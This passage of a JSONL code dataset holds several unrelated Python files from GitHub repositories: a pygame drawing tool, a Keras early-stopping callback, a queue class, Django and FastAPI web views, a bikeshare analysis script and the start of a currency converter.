bilateral)\r\n\r\n\r\n\r\n\r\n\r\ncv.waitKey(0)","repo_name":"dimikave/opencv-tut","sub_path":"smoothing.py","file_name":"smoothing.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"13717230877","text":"\r\nimport pygame, os, sys\r\n\r\nimport backend.standards as standards, backend.colors as colors\r\n\r\nfrom backend.settings import Settings\r\nfrom backend.util import Util\r\nfrom backend.outliner import OutLiner\r\nfrom backend.workout import WorkOut\r\nfrom backend.helpscreen import HelpScreen\r\nfrom backend.about import AboutScreen\r\nfrom backend.datahandler import DataHandler\r\nU = Util()\r\n\r\nclass GraphBook:\r\n \"\"\"\r\n \r\n draw a line and its \r\n properties\r\n # a position indicator\r\n # info bar\r\n # output data bar\r\n # \"\"\"\r\n def __init__(self):\r\n # penattributes\r\n self.pen_color = colors.black\r\n self.pen_width = 3\r\n self.background_color = colors.mint_cream\r\n self.running =True\r\n self.points = []\r\n self.cached_points = []\r\n self.drawing = False \r\n self.clock = pygame.time.Clock()\r\n self.output_font = 20\r\n self.output_color = colors.steel_blue\r\n self.data_color = colors.midnightblue\r\n \r\n self.commands_color = colors.black\r\n self.data_bar_background_color = colors.skyblue\r\n \r\n self.util = Util()\r\n self.line_data = {\"line_equation\":'',\r\n }\r\n \r\n def save_trajectory(self):\r\n self.running = False\r\n \r\n print(\"\\n please enter file name to save directory or else it will be saved with a random name\\nfind trajectories at Desktop/trajectories\")\r\n name = input(\"filename :\")\r\n if self.points != []:\r\n # we have somthing to save\r\n \r\n if name == \"\":\r\n # name is blank\r\n DataHandler().save_trajectory_points(self.cached_points)\r\n else:\r\n DataHandler().save_trajectory_points(self.cached_points, name)\r\n print(f\"file {name}.txt has been saved\")\r\n \r\n else:\r\n print(\"nothing to save\")\r\n \r\n self.running = True\r\n \r\n def key_input(self):\r\n # handle ket inputs \r\n keys = pygame.key.get_pressed()\r\n \r\n if keys[pygame.K_q]:\r\n # press q to quit app\r\n pygame.quit()\r\n self.running = False\r\n \r\n elif keys[pygame.K_h]:\r\n # h for help screen\r\n HelpScreen().run()\r\n elif keys[pygame.K_a]:\r\n AboutScreen().run() \r\n elif keys[pygame.K_b]:\r\n self.running = False\r\n elif keys[pygame.K_f]:\r\n self.save_trajectory()\r\n \r\n elif keys[pygame.K_s]:\r\n DataHandler().save_trajectory_points(self.cached_points)\r\n \r\n def quit_event(self):\r\n # anticipate a quit event\r\n for ev in pygame.event.get():\r\n if ev.type == pygame.QUIT:\r\n pygame.quit()\r\n self.running = False\r\n sys.exit()\r\n \r\n elif ev.type == pygame.MOUSEMOTION and self.drawing == True:\r\n # mouse down and in motion\r\n self.points.append(ev.pos)\r\n \r\n elif ev.type == pygame.MOUSEBUTTONDOWN:\r\n # start recording points on mousebutton down\r\n self.points.append(ev.pos)\r\n self.points =[]\r\n self.drawing = True\r\n \r\n elif ev.type == pygame.MOUSEBUTTONUP:\r\n # we now process the stored coordinates\r\n if len(self.points) >= 2:\r\n self.line_data = WorkOut().analyze_straight_line(self.points)\r\n self.cached_points = self.points\r\n \r\n \r\n self.drawing = False\r\n \r\n def draw_data_bar(self, window):\r\n # that bar at the bottom for \r\n # displaying output and stuff\r\n OutLiner().draw_outline(0, 540, 800, 70, window, outline_width=0, color=self.data_bar_background_color)\r\n \r\n def command_help(self, window):\r\n # display commands just above the data outpus\r\n U.text_to_gamer(' h - help q - quit f - save trajectory to a named file s - save trajectory', (25,545), window, self.commands_color, 20) \r\n def draw_points(self, window):\r\n # draw the coordinates only if there are more than two points\r\n # once again avoiding a big error\r\n if len(self.points) > 1:\r\n pygame.draw.lines(window, self.pen_color, False, self.points, self.pen_width)\r\n \r\n def line_equation_bar(self, window):\r\n # display the line equation of the straight\r\n # line between start point and end point\r\n \r\n \r\n line_equation = self.line_data['line_equation']\r\n curved_equation = 'coming soon'\r\n U.text_to_gamer(f\"equation of start and endpoint line\".upper(), (170,560), window, self.output_color, self.output_font)\r\n U.text_to_gamer(f\"{line_equation}\", (170,585), window,self.data_color, self.output_font)\r\n \r\n def position_bar(self, window):\r\n # displays the position of the mouse on the screen\r\n pos = pygame.mouse.get_pos()\r\n pos = str(pos)\r\n pos_text_color = colors.green\r\n \r\n U.text_to_gamer('MOUSE POS :', (50,560), window, self.output_color,self.output_font) \r\n U.text_to_gamer(pos, (50,580), window, self.data_color,self.output_font) \r\n #OutLiner().draw_outline(40,550, 150, 50, window, color=colors.skyblue)\r\n \r\n \r\n def display(self):\r\n pygame.init()\r\n # display the graphbook \r\n window = pygame.display.set_mode(standards.screen_size, pygame.NOFRAME)\r\n window.fill(self.background_color)\r\n #window.fill(colors.black)\r\n pygame.display.set_caption(\"LineMaster\")\r\n \r\n # draw the data bar\r\n self.draw_data_bar(window)\r\n # get key inputs\r\n self.key_input()\r\n \r\n # display equation of the last line\r\n self.line_equation_bar(window)\r\n \r\n # display command help\r\n self.command_help(window) \r\n # draw points with the mouse\r\n self.draw_points(window)\r\n \r\n # position bar\r\n self.position_bar(window)\r\n self.quit_event()\r\n pygame.display.update()\r\n self.clock.tick(10)\r\n \r\n def run(self):\r\n while self.running:\r\n self.display()\r\n \r\n \r\n \r\n \r\n \r\n","repo_name":"victhepythonista/Apps","sub_path":"TrajectoryCalculator/backend/graphbook.py","file_name":"graphbook.py","file_ext":"py","file_size_in_byte":6534,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"12715792290","text":"from fashiondatasets.utils.logger.defaultLogger import defaultLogger\nfrom tensorflow import keras\n\nfrom fashionnets.util.csv import HistoryCSVHelper\n\nlogger = defaultLogger(\"deepfashion_callbacks\")\n\nclass EarlyStoppingBasedOnHistory(keras.callbacks.Callback):\n def __init__(self, history_path, monitor=\"loss\", patience=3, sep=\",\", lower_is_better=True):\n super(EarlyStoppingBasedOnHistory, self).__init__()\n self.history_path = history_path\n self.sep = sep\n self.patience = patience\n self.monitor = monitor\n\n self.comparative_operator = min if lower_is_better else max\n\n def on_epoch_begin(self, epoch, logs=None):\n history = HistoryCSVHelper.history_csv_to_dict(self.history_path, sep=self.sep) # drop_columns=[\"epoch\"]\n\n if len(history) < 1 or epoch < self.patience:\n return\n\n ep_values = zip(history[\"epoch\"], history[self.monitor])\n best_epoch, best_value = self.comparative_operator(ep_values, key=lambda d: d[1])\n\n early_stopping = (best_epoch + self.patience) < epoch\n if early_stopping:\n logger.debug(f\"Best {self.monitor} Results at {best_epoch}.\")\n logger.debug(f\"Stop Training. {self.monitor} has not improved in {epoch - best_epoch} Epochs!\")\n self.model.stop_training = True\n\n# if len(history) < 1:\n# return\n\n# for metric, values in history.items():\n# stop, best_ep = self.early_stopping(values, epoch)\n# if stop:\n# print(f\"Best {metric} Results at {best_ep}\")\n# if metric == self.monitor:\n# print(f\"Stop Training. {metric} has not improved in {epoch - best_ep} Epochs!\")\n# self.model.stop_training = True\n\n# def early_stopping(self, values, epoch):\n# if len(values) < 1:\n# return False, -1\n\n# best_epoch = values.index(min(values))\n\n# if epoch < self.patience: # Epoch starts at 0. so it trains at-least for patience epochs\n# return False, best_epoch\n\n# return (best_epoch + self.patience) < epoch, best_epoch\n\nif __name__ == \"__main__\":\n path = r\"F:\\workspace\\FashNets\\1337_resnet50_None_triplet\\history.csv\"\n csv_sep = \";\"\n EarlyStoppingBasedOnHistory(path, monitor='loss', patience=3, sep=csv_sep).on_epoch_begin(9, None)\n","repo_name":"NiklasHoltmeyer/FashionNets","sub_path":"fashionnets/callbacks/training/early_stopping_based_on_history_csv.py","file_name":"early_stopping_based_on_history_csv.py","file_ext":"py","file_size_in_byte":2352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"32274542975","text":"# Fronta (queue)\n\n\n# Queue(memory) - konstruktor\n# enqueue(item) - prida prvek na konec fronty\n# dequeue(item) - odebere prvek z fronty\n# front() - kdo je na rade?\n# back() - kdo je posledni?\n# is_empty() - je fronta prazdna?\n# size() - kolik je prvku ve fronte?\n\n\nclass Queue:\n def __init__(self, memory, items=None):\n self._memory = memory\n self._items = []\n if items:\n if len(items) > memory:\n raise Exception('Items count bigger then allocated memory!')\n for i in items:\n self._items.append(i)\n\n def enqueue(self, item):\n if self._memory_available() > 0:\n self._items.append(item)\n else:\n print(f\"Queue is full. Item ${item}$ wasn't enqueued!\")\n\n def dequeue(self):\n if not self._is_empty():\n return self._items.pop(0)\n else:\n print(\"Queue es empty. No item was dequeued!\")\n\n def sort(self):\n # Insertion sort\n for i in range(1, self._size()):\n tmp = self._items[i]\n j = i-1\n while j >= 0 and self._items[j].priority < tmp.priority:\n self._items[j + 1] == self._items[j]\n j -= 1\n self._items[j + i] = tmp\n\n def front(self):\n if not self._is_empty():\n return self._items[0]\n else:\n print(\"Queue es empty. No item in front!\")\n\n def back(self):\n if not self._is_empty():\n return self._items[-1]\n else:\n print(\"Queue es empty. No item in back!\")\n\n def _memory_available(self):\n return self._memory - self._size()\n\n def _size(self):\n return len(self._items)\n\n def _is_empty(self):\n return self._size == 0\n\n def __str__(self):\n return str(self._items)\n\n def __iter__(self):\n self.iter_index = 0\n return self\n\n def __next__(self):\n if(self.iter_index >= self._size()):\n raise StopIteration\n self.iter_index += 1\n return self._items[self.iter_index-1]\n\n\ndef main():\n fronticka = Queue(5, [0, 5])\n print(fronticka)\n fronticka.enqueue(\"Alena\")\n fronticka.enqueue(True)\n fronticka.enqueue(0)\n fronticka.enqueue(\"Pavel\")\n fronticka.enqueue(5.6)\n print(fronticka)\n fronticka.dequeue()\n fronticka.dequeue()\n print(fronticka)\n print(fronticka.front())\n print(fronticka.back())\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"denkre/RPGClovece","sub_path":"queue.py","file_name":"queue.py","file_ext":"py","file_size_in_byte":2459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"39882492279","text":"from .models import *\nfrom .forms import *\n\nfrom django.core.paginator import EmptyPage, PageNotAnInteger, Paginator\nfrom django.http import HttpResponse, HttpResponseBadRequest\nfrom django.shortcuts import get_object_or_404, redirect, render\nfrom django.contrib.auth.decorators import login_required\n\n# Create your views here.\n\n#def home(request):\n# return render(request, 'core/home.html')\n\n#Shouldnt have a use as of 2/11\n\"\"\"\ndef create_course(request):\n #If post request we need to process form data\n if request.method == 'POST':\n #Create form instance and populate it with data from request\n form = CourseForm(request.POST)\n if form.is_valid():\n form.save()\n #if a get we'll create a blank form\n else:\n form = CourseForm()\n #form.save()\n return render(request, 'core/create_project.html', {'form': form})\n\"\"\"\n\"\"\"\n#Does not create a project because we dont know how to use many-to-many\ndef create_project(request):\n #If post request we need to process form data\n if request.method == 'POST':\n #Create form instance and populate it with data from request\n form = ProjectForm(request.POST)\n if form.is_valid():\n form.save()\n #if a get we'll create a blank form\n else:\n form = ProjectForm()\n #form.save()\n return render(request, 'core/create_project.html', {'form': form})\n\n#this does not work as intended, result is listed as a QUERYSET\ndef view_projects(request):\n project_name = Project.objects.all()\n context = { 'project_name': project_name,\n }\n return render(request, 'core/view_projects.html', context)\n\n\"\"\"\n\ndef _projects(request, projects):\n \"\"\"\n Private method that will be used for paginator once I figure out how to get it working.\n \"\"\"\n #paginator = Paginator(projects, 10)\n page = request.GET.get('page')\n #try:\n # projects = paginator.page(page)\n #except PageNotAnInteger:\n # projects = paginator.page(1)\n #except EmptyPage:\n # projects = paginator.page(paginator.num_pages)\n return render(request, 'projects/view_projects.html', {\n 'projects': projects, \n })\n\n@login_required\ndef view_projects(request):\n \"\"\"\n Public method that takes a request, retrieves all Project objects from the model, \n then calls _projects to render the request to template view_projects.html\n \"\"\"\n all_projects = Project.get_published()\n return _projects(request, all_projects)\n\n@login_required\ndef create_project(request):\n \"\"\"\n Public method that creates a form and renders the request to create_project.html\n \"\"\"\n if request.method == 'POST':\n form = ProjectForm(request.user.id, request.POST)\n if form.is_valid():\n # create an object for the input\n project = Project()\n project.title = form.cleaned_data.get('title')\n # project.member = form.cleaned_data.get('members')\n members = form.cleaned_data.get('members')\n # save this object\n project.save()\n # loop through the members in the object and make m2m rows for them\n for i in members:\n Membership.objects.create(user=i, project=project, invite_reason='')\n # we dont have to save again because we do not touch the project object\n # we are doing behind the scenes stuff (waves hand)\n return redirect('/view_projects.html/')\n else:\n form = ProjectForm(request.user.id)\n return render(request, 'projects/create_project.html', {'form': form})\n\n","repo_name":"ejnguyen619/teamwork-project","sub_path":"teamwork/apps/projects/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"75059014831","text":"from fastapi import APIRouter, Response\nfrom starlette.status import HTTP_201_CREATED\nfrom schema.user_schema import User\nfrom config.db import engine, SessionLocal\nfrom model.users import User\nfrom werkzeug.security import generate_password_hash, check_password_hash\nfrom typing import List\nfrom starlette.responses import RedirectResponse\nfrom sqlalchemy.orm import Session\nfrom fastapi.params import Depends\nimport model\nimport schema.user_schema as schema\n\n\n\nuser = APIRouter()\n\n@user.get(\"/\")\ndef root():\n return {\"message\": \"Hello World from user router\"}\n\n\ndef get_db():\n try:\n db = SessionLocal()\n yield db\n finally:\n db.close()\n\n\n#Get all users\n@user.get('/usuarios/',response_model=List[schema.User])\ndef show_users(db:Session=Depends(get_db)):\n usuarios = db.query(model.users.User).all()\n return usuarios\n\n#Get user by id\n@user.get('/usuarios/{usuario_id}',response_model=schema.User)\ndef show_users(usuario_id:int,db:Session=Depends(get_db)):\n usuarios = db.query(model.users.User).filter_by(id=usuario_id).first()\n return usuarios\n\n#Create user\n@user.post('/users/',response_model=schema.User)\ndef create_users(entrada:schema.User,db:Session=Depends(get_db)):\n usuario = model.users.User(username = entrada.username,nombre=entrada.nombre,rol=entrada.rol,estado=entrada.estado)\n db.add(usuario)\n db.commit()\n db.refresh(usuario)\n return usuario\n\n#Update user\n@user.put('/usuarios/{usuario_id}',response_model=schema.User)\ndef update_users(usuario_id:int,entrada:schema.UserUpdate,db:Session=Depends(get_db)):\n usuario = db.query(model.users.User).filter_by(id=usuario_id).first()\n usuario.username=entrada.username\n usuario.nombre=entrada.nombre\n db.commit()\n db.refresh(usuario)\n return usuario\n\n#Delete user\n@user.delete('/usuarios/{usuario_id}',response_model=schema.Respuesta)\ndef delete_users(usuario_id:int,db:Session=Depends(get_db)):\n usuario = db.query(model.users.User).filter_by(id=usuario_id).first()\n db.delete(usuario)\n db.commit()\n respuesta = schema.Respuesta(mensaje=\"Eliminado exitosamente\")\n return respuesta\n","repo_name":"vquijandria/crud-fastapi","sub_path":"router/router.py","file_name":"router.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"9741921976","text":"from django.core.exceptions import ValidationError\nimport base64\nimport uuid\nfrom django.core.files.base import ContentFile\nfrom rest_framework.viewsets import ViewSet\nfrom rest_framework.response import Response\nfrom rest_framework import serializers, status\nfrom django.db.models import Q\nfrom foodtruckfinderapi.models import (Truck, UserAccount)\nfrom foodtruckfinderapi.views.user_truck_review import UserTruckReviewSerializer\n\n\n\nclass TruckView(ViewSet):\n\n def list(self, request):\n \"\"\"Handle GET requests to trucks resource\n\n Returns:\n Response: JSON serialized list of truck instances\n \"\"\"\n\n search_text = self.request.query_params.get('q', None)\n owner = self.request.query_params.get('owner', None)\n if search_text is not None:\n trucks=Truck.objects.filter(\n Q(name__contains=search_text) |\n Q(description__contains=search_text) |\n Q(food_types__type__contains=search_text)\n ).distinct()\n elif owner:\n trucks=Truck.objects.filter(Q(owners__id=request.auth.user.id)).order_by('-pk')\n else :\n trucks=Truck.objects.all()\n user_account = UserAccount.objects.get(pk = request.auth.user.id)\n ## set custom favorite and owner properties (booleans)\n for truck in trucks:\n truck.owner = user_account in truck.owners.all()\n truck.favorite = user_account in truck.favorites.all()\n\n## Attempting to set/access author property on related reviews for each truck instance\n # if len(truck.reviews.all()) > 0:\n # for review in truck.reviews.all():\n # review.author = review.user_account == user_account\n\n serializer=TruckSerializer(trucks, many=True)\n return Response(serializer.data)\n\n\n def retrieve(self, request, pk=None):\n \"\"\"Handle GET request for a single truck\n\n Returns:\n Response: JSON serialized truck instance\n \"\"\"\n try:\n truck=Truck.objects.get(pk=pk)\n user_account = UserAccount.objects.get(pk = request.auth.user.id)\n ## set custom favorite and owner properties (booleans)\n truck.owner = user_account in truck.owners.all()\n truck.favorite = user_account in truck.favorites.all()\n\n## Attempting to set/access author property on related reviews on truck instance\n # if len(truck.reviews) > 0:\n # for review in truck.reviews.all():\n # review.author = review.user_account == user_account\n\n serializer = TruckSerializer(truck)\n return Response(serializer.data)\n except Truck.DoesNotExist as ex:\n return Response({'message': ex.args[0]}, status=status.HTTP_404_NOT_FOUND)\n\n\n def create(self, request):\n \"\"\"Handle POST request for a single truck\n\n Returns:\n Response: JSON serialized truck instance\n \"\"\"\n truck = Truck(\n name = request.data['name'],\n description = request.data['description'],\n website_url = request.data['websiteURL'],\n facebook_url = request.data['facebookURL'],\n instagram_url = request.data['instagramURL'],\n twitter_url = request.data['twitterURL'],\n profile_img_src = request.data['profileImgSrc'],\n hours = request.data['hours'],\n dollars = request.data['dollars'],\n )\n\n format, imgstr = request.data[\"profileImgSrc\"].split(';base64,')\n ext = format.split('/')[-1]\n data = ContentFile(base64.b64decode(imgstr), \n name=f'{request.data[\"name\"]}-{uuid.uuid4()}.{ext}')\n\n truck.profile_img_src = data\n\n\n try:\n truck.save()\n # truck.food_types.set(request.data['foodTypes'])\n serializer = TruckSerializer(truck, context={'request': request})\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n except ValidationError as ex:\n return Response({'message': ex.message}, status=status.HTTP_400_BAD_REQUEST)\n\n\n def update(self, request, pk=None):\n \"\"\"Handle PUT requests for a truck\n\n Returns:\n Response -- Empty body with 204 status code\n \"\"\"\n try:\n truck = Truck.objects.get(pk=pk)\n truck.name = request.data['name']\n truck.description = request.data['description']\n truck.website_url = request.data['websiteURL']\n truck.facebook_url = request.data['facebookURL']\n truck.instagram_url = request.data['instagramURL']\n truck.twitter_url = request.data['twitterURL']\n truck.hours = request.data['hours']\n truck.dollars = request.data['dollars']\n\n if request.data['newPhoto']:\n format, imgstr = request.data[\"profileImgSrc\"].split(';base64,')\n ext = format.split('/')[-1]\n data = ContentFile(base64.b64decode(imgstr), \n name=f'{request.data[\"name\"]}-{uuid.uuid4()}.{ext}')\n truck.profile_img_src = data\n\n truck.save()\n\n # truck.food_types.set(request.data['foodTypes'])\n\n serializer = TruckSerializer(truck)\n return Response(serializer.data, status=status.HTTP_204_NO_CONTENT)\n except Truck.DoesNotExist as ex:\n return Response({'message': ex.args[0]}, status=status.HTTP_404_NOT_FOUND)\n except ValidationError as ex:\n return Response({'message': ex.args[0]}, status=status.HTTP_400_BAD_REQUEST)\n\n\n def destroy(self, request, pk=None):\n \"\"\"Handle DELETE request for a single truck\n\n Returns:\n Response: 204 or 404 status code\n \"\"\"\n try:\n truck = Truck.objects.get(pk=pk)\n truck.delete()\n return Response(None, status=status.HTTP_204_NO_CONTENT)\n except Truck.DoesNotExist as ex:\n return Response({'message': ex.args[0]}, status=status.HTTP_404_NOT_FOUND)\n\n\nclass TruckSerializer(serializers.ModelSerializer):\n\n reviews = UserTruckReviewSerializer(many=True)\n\n class Meta:\n model = Truck\n fields = ('id', 'name','description', 'website_url', 'facebook_url', 'instagram_url',\n 'twitter_url', 'profile_img_src', 'hours', 'dollars',\n 'food_types', 'favorite', 'owner', 'user_rating', 'suggestions', 'reviews',\n 'unread_suggestions')\n depth = 3\n","repo_name":"MelissaCFox/food-truck-finder-server","sub_path":"foodtruckfinderapi/views/truck.py","file_name":"truck.py","file_ext":"py","file_size_in_byte":6573,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"15841198479","text":"from django.urls import path, include\n\nfrom . import views\nurlpatterns = [\n path('detail/', views.get_question_bank,name='question_list'),\n path('allquestion/answer/', views.get_all_question_answer,name='question_answer_list'),\n path('check/answers', views.check_question_answer,name='check_answers'),\n path('student/result', views.get_student_result,name='student_result'),\n path('allstudent/result', views.get_all_student_result,name='all_student_result'),\n path('students', views.get_all_student_list,name='all_student'),\n\n \n]","repo_name":"basant93/student_assessment","sub_path":"assessment/QuestionBank/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"9478560309","text":"import time\n\nimport pandas as pd\n\nCITY_DATA = {'chicago': 'chicago.csv', 'new york': 'new_york_city.csv', 'washington': 'washington.csv'}\n\n\ndef get_filters():\n \"\"\"\n Asks user to specify a city, month, and day to analyze.\n\n Returns:\n (str) city - name of the city to analyze\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n \"\"\"\n print('Hello! Let\\'s explore some US bike share data!')\n # get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid inputs\n city = \" \"\n while city not in CITY_DATA.keys():\n city = str(input(\"PLease enter the city ( chicago , new york , washington ) :\\n \"))\n city = city.lower()\n if city not in CITY_DATA.keys():\n print(\"\\n------------Not accepted choice please enter choice from the next list !------------ \\n\")\n\n\n # get user input for month (all, january, february, ... , june)\n months_name = {'january': 1, 'february': 2, 'march': 3, 'april': 4, 'may': 5, 'june': 6, 'all': 7}\n month = \" \"\n while month not in months_name.keys():\n month = str(input(\"PLease enter the month ( all, january , february , march , april , may , june ) all to apply no month filter : \\n\"))\n month = month.lower()\n\n if month not in months_name.keys():\n print(\"\\n------------Not accepted choice please enter choice from the next list !------------ \\n\")\n\n\n # get user input for day of week (all, monday, tuesday, ... sunday)\n days = ['all', 'monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday', 'sunday']\n day = \" \"\n while day not in days:\n day = str(input(\"please enter the day : ( all , monday , tuesday , wednesday , thursday , friday , saturday , sunday )all to apply no month filter : \\n\"))\n day = day.lower()\n if day not in days:\n print(\"\\n------------Not accepted choice please enter choice from the next list !------------ \\n\")\n print('-' * 130)\n print(f\"The choosen day is ({day.title()}) and The choosen month is ({month.title()}) and your city is ({city.title()})\")\n print('-' * 130)\n return city, month, day\n\n\ndef load_data(city, month, day):\n \"\"\"\n Loads data for the specified city and filters by month and day if applicable.\n\n Args:\n (str) city - name of the city to analyze\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n Returns:\n df - Pandas DataFrame containing city data filtered by month and day\n \"\"\"\n\n # load data file into a dataframe\n df = pd.read_csv(CITY_DATA[city])\n\n # convert the Start Time column to datetime\n df['Start Time'] = pd.to_datetime(df['Start Time'])\n\n # extract month and day of week from Start Time to create new columns\n df['month'] = df['Start Time'].dt.month\n\n df['day'] = df['Start Time'].dt.day_name()\n\n # filter by month if applicables\n if month != 'all':\n # use the index of the months list to get the corresponding int\n months = ['january', 'february', 'march', 'april', 'may', 'june']\n month_id = months.index(month) + 1\n\n # filter by month to create the new dataframe\n check_one = df[df['month'] == month_id]\n df = check_one\n # filter by day of week if applicable\n\n if day != 'all':\n # filter by day of week to create the new dataframe\n check_two = df[df['day'] == day.title()]\n df = check_two\n return df\n\n\ndef time_stats(df):\n \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\n\n print('-' * 50,\"\\nCalculating The Most Frequent Times of Travel...\\n\",'-' * 50)\n\n start_time = time.time()\n\n # display the most common month\n\n # find the most popular month\n\n popular_month = df[\"month\"].mode()[0]\n\n print(f\"\\nMost Popular Start month : ({popular_month})\")\n\n # display the most common day of week\n\n popular_day = df[\"day\"].mode()[0]\n\n print(f\"\\nMost Popular Start day : ({popular_day})\")\n\n # display the most common start hour\n\n # extract hour from the Start Time column to create an hour column\n df['hour'] = df['Start Time'].dt.hour\n\n # find the most popular hour\n popular_hour = df[\"hour\"].mode()[0]\n\n print(f\"\\nMost Popular Start Hour : ({popular_hour})\")\n print(\"\\n\\n\\nThis took %s seconds.\" % (time.time() - start_time))\n\n\ndef station_stats(df):\n \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\n print('-' * 50,\"\\nCalculating The Most Popular Stations and Trip...\\n\",'-' * 50)\n start_time = time.time()\n\n # display most commonly used start station\n\n popular_start_station = df['Start Station'].mode()[0]\n\n print(f\"\\nMost Popular Start Station: ({popular_start_station})\")\n\n # display most commonly used end station\n popular_end_station = df['End Station'].mode()[0]\n\n print(f\"\\nMost Popular End Station: ({popular_end_station})\")\n\n # display most frequent combination of start station and end station trip\n\n\n df['Start To End'] = df['Start Station'].str.cat(df['End Station'], sep=' to ')\n\n most_frequent_trip = df['Start To End'].mode()[0]\n\n print(f\"\\nmost_frequent_trip : ({most_frequent_trip})\")\n\n print(\"\\n\\n\\nThis took %s seconds.\" % (time.time() - start_time))\n\n\n\ndef trip_duration_stats(df):\n \"\"\"Displays statistics on the total and average trip duration.\"\"\"\n\n print('-' * 35,\"\\nCalculating Trip Duration...\\n\",'-' * 35)\n start_time = time.time()\n\n # display total travel time\n total_travel_time = round(df['Trip Duration'].sum())\n minute, second = divmod(total_travel_time, 60)\n hour, minute = divmod(minute, 60)\n\n print(f\"\\nTotal_travel_time is : ({hour}) hours , ({minute}) minutes and ({second}) seconds.\")\n\n # display mean travel time\n\n mean_travel_time = round(df['Trip Duration'].mean())\n mins, sec = divmod(mean_travel_time, 60)\n if mins > 60:\n hrs, mins = divmod(mins, 60)\n print(f\"\\nMean_travel_time is : ({hrs}) hours , ({mins}) minutes and ({sec}) seconds.\")\n else:\n print(f\"\\nmean_travel_time is : ({mins}) minutes and ({sec}) seconds\")\n\n print(\"\\n\\n\\nThis took %s seconds.\" % (time.time() - start_time))\n\n\n\ndef user_stats(df):\n \"\"\"Displays statistics on bike share users.\"\"\"\n\n\n print('-' * 25,\"\\nCalculating User Stats...\\n\",'-' * 25)\n\n start_time = time.time()\n\n # Display counts of user types\n\n # print value counts for each user type\n user_types = df['User Type'].value_counts()\n print(\"user_types :\\n\\n \", user_types,\"\\n\\n\")\n\n # Display counts of gender\n # print value counts for each user type\n\n try:\n user_gender = df['Gender'].value_counts()\n\n print(\"user_gender :\\n\\n \", user_gender)\n except:\n print(\"--------------The Gender not shown in this file--------------\")\n # Display earliest, most recent, and most common year of birth\n try:\n most_recent = int(df['Birth Year'].max())\n earliest = int(df['Birth Year'].min())\n common_year_of_birth = int(df['Birth Year'].mode()[0])\n print(f\"\\nmost_recent : ({most_recent})\")\n print(f\"\\nearliest : ({earliest})\")\n print(f\"\\ncommon_year_of_birth : ({common_year_of_birth})\")\n except:\n print(\"--------------The Birthdays not shown in this file--------------\")\n print(\"\\n\\n\\nThis took %s seconds.\" % (time.time() - start_time))\n\n\n\ndef data_show(df):\n \"\"\"Displays 5 rows of data from the csv file for the selected city.\n Args:\n df:\n Returns:\n None.\n \"\"\"\n choice = ['yes', 'no']\n mychoice = ''\n # counter variable is initialized as a tag to ensure only details from\n # a particular point is displayed\n num = 0\n while mychoice not in choice:\n\n print('-' * 70,\"\\nDo you want to show the source of this data? ( Yes OR No )\\n\",'-' * 70)\n mychoice = input().lower()\n # the raw data from the df is displayed if user opts for it\n if mychoice == \"yes\":\n pd.set_option(\"display.max_columns\", 200)\n print(df.head())\n elif mychoice not in choice:\n print(\"\\n---------Not accepted choice please choice Yes Or No --------\\n\")\n\n # Extra while loop here to ask user if they want to continue viewing data\n while mychoice == 'yes':\n print('-' * 70,\"\\nDo you want to show more data ? ( Yes OR No )\\n\",'-' * 70)\n num += 5\n mychoice = input().lower()\n # If user opts for it, this displays next 5 rows of data\n if mychoice == \"yes\":\n pd.set_option(\"display.max_columns\", 200)\n print(df[num:num + 5])\n elif mychoice != \"yes\":\n break\n\n print( \"-\" * 150)\n\n\ndef main():\n while True:\n city, month, day = get_filters()\n df = load_data(city, month, day)\n time_stats(df)\n station_stats(df)\n trip_duration_stats(df)\n user_stats(df)\n data_show(df)\n restart = input('\\nWould you want to search another city ? (Yes Or No).\\n')\n if restart.lower() == 'no':\n break\n else:\n print(\"\\n---------Not accepted choice please choice Yes Or No --------\\n\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"AhmedShowma/Bike_Share","sub_path":"bikeshare.py","file_name":"bikeshare.py","file_ext":"py","file_size_in_byte":9385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"4594163129","text":"#Imports necessários\nfrom requests import get\nfrom time import sleep\n\n#Funções necessárias\ndef NumeroMoedaParaString(numeroMoeda):\n stringMoeda = ''\n if(numeroMoeda == 1):\n stringMoeda = 'BRL'\n simboloMoeda = 'R$'\n elif(numeroMoeda == 2):\n stringMoeda = 'USD'\n simboloMoeda = 'US$'\n elif(numeroMoeda == 3):\n stringMoeda = 'EUR'\n simboloMoeda = '€'\n else:\n stringMoeda = 'GBP'\n simboloMoeda = '£'\n return [stringMoeda,simboloMoeda]\n\ndef Conversor(primeiraConversao=0):\n #Apresentar o aplicativo\n if(primeiraConversao):\n stringApresentacao = \"O aplicativo serve para converter o valor de uma moeda para a outra\" + \"\\n\"\n stringApresentacao += \"Para indicar a moeda, utilizamos um sistema de número\" + \"\\n\"\n stringApresentacao += \"Real Brasileiro = 1\" + \"\\n\"\n stringApresentacao += \"Dólar Americano = 2\" + \"\\n\"\n stringApresentacao += \"Euro = 3\" + \"\\n\"\n stringApresentacao += \"Libra Esterlina = 4\"\n print(stringApresentacao)\n\n #Receber moeda origem\n 